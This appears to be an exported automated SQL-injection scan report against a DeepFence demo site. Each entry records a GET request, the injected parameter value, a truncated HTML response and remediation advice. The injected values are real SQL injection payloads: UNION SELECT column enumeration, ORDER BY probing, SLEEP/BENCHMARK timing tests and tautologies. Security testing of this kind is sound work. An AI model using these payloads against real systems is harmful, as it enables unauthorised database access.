cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1607
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' ORDER BY 1,2,3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1608
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1609
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1610
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1611
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1612
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1613Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language
="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet
" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-
aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-
- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSB
JbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgA
QIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1614
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1615
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=x#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1616
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ") or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1617
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1618
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1619
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# /*!10000%201/0%20*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1620
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 30#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1621
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
